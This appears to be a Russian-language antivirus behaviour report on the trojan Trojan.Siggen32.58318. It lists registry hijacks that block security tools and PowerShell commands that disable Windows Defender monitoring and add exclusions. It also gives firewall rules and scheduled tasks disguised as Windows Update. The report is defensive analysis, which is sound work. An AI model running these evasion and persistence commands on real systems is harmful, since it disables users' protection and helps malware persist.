Trojan.Siggen32.58318

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MBSetup-3.3] 'Debugger' = 'svchost.exe'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe] 'Debugger' = 'svchost.exe'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgui.exe] 'Debugger' = 'svchost.exe'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avp.exe] 'Debugger' = 'svchost.exe'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe] 'Debugger' = 'svchost.exe'
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nortonsecurity.exe] 'Debugger' = 'svchost.exe'

Создает или изменяет следующие файлы

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует запуск следующих системных утилит:

добавляет исключения антивируса:

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%WINDIR%\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\IsolatedStorage'"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess '<Имя файла>.exe'"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Set-MpPreference -DisableRealTimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true"

Запускает на исполнение

'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="WindowsUpdateCoreSecureTask" dir=in action=allow program="%WINDIR%\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\IsolatedStorage\<Имя файла>.exe" enable=...
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="WindowsUpdateCoreSecureTask" dir=out action=allow program="%WINDIR%\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\IsolatedStorage\<Имя файла>.exe" enable...

Завершает или пытается завершить

следующие системные процессы:

Изменения в файловой системе

Создает следующие файлы

%ALLUSERSPROFILE%\microsoft\wutaskdata.dat
%WINDIR%\systemapps\microsoft.windows.search_cw5n1h2txyewy\isolatedstorage\<Имя файла>.exe
%ALLUSERSPROFILE%\microsoft\wutask.ps1
%LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<Имя файла>.exe.log
%WINDIR%\temp\__psscriptpolicytest_vxqud5xo.iar.ps1
%WINDIR%\temp\__psscriptpolicytest_5fihgy1o.mpt.psm1
%WINDIR%\temp\content\4868-2264-powershell.exe-22-09-03-099.dump
%WINDIR%\temp\content\4868-2264-powershell.exe-22-09-03-305.dump
%WINDIR%\temp\content\4868-2264-powershell.exe-22-09-03-395.dump
%WINDIR%\temp\content\4868-2264-powershell.exe-22-09-03-406.dump
%WINDIR%\temp\content\4868-2264-powershell.exe-22-09-03-417.dump
%WINDIR%\temp\content\4868-2264-powershell.exe-22-09-03-495.dump
%WINDIR%\temp\content\4868-2264-powershell.exe-22-09-03-564.dump
<SYSTEM32>\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive

Присваивает атрибут 'скрытый' для следующих файлов

%ALLUSERSPROFILE%\microsoft\wutaskdata.dat
%WINDIR%\systemapps\microsoft.windows.search_cw5n1h2txyewy\isolatedstorage\<Имя файла>.exe
%ALLUSERSPROFILE%\microsoft\wutask.ps1

Удаляет файлы, которые сам же создал

Изменяет файл HOSTS.

Сетевая активность

Подключается к

Другое

Создает и запускает на исполнение

'%WINDIR%\systemapps\microsoft.windows.search_cw5n1h2txyewy\isolatedstorage\<Имя файла>.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -File "%ALLUSERSPROFILE%\Microsoft\WUTask.ps1"

Запускает на исполнение

'<SYSTEM32>\schtasks.exe' /delete /tn "\Microsoft\Windows\WindowsUpdate\WindowsUpdateCoreSecureTask_WD" /f
'<SYSTEM32>\schtasks.exe' /delete /tn "\Microsoft\Windows\WindowsUpdate\WindowsUpdateCoreSecureTask" /f
'<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\WindowsUpdate\WindowsUpdateCoreSecureTask" /tr "%WINDIR%\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\IsolatedStorage\<Имя файла>.exe" /sc onlogon /ru "isel...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "$t=New-Object -ComObject Schedule.Service;$t.Connect();$f=$t.GetFolder('\Microsoft\Windows\WindowsUpdate');$task=$f.GetTask('WindowsUpdateCoreSecureTask');$def=$ta...
'<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\WindowsUpdate\WindowsUpdateCoreSecureTask_WD" /tr "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File '%ALLUSERSPROFILE%\Microsoft\WUTask.ps1'" /sc...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "$t=New-Object -ComObject Schedule.Service;$t.Connect();$f=$t.GetFolder('\Microsoft\Windows\WindowsUpdate');$task=$f.GetTask('WindowsUpdateCoreSecureTask_WD');$def=...
'<SYSTEM32>\schtasks.exe' /run /tn "\Microsoft\Windows\WindowsUpdate\WindowsUpdateCoreSecureTask"
'<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="WindowsUpdateCoreSecureTask"
'<SYSTEM32>\ipconfig.exe' /flushdns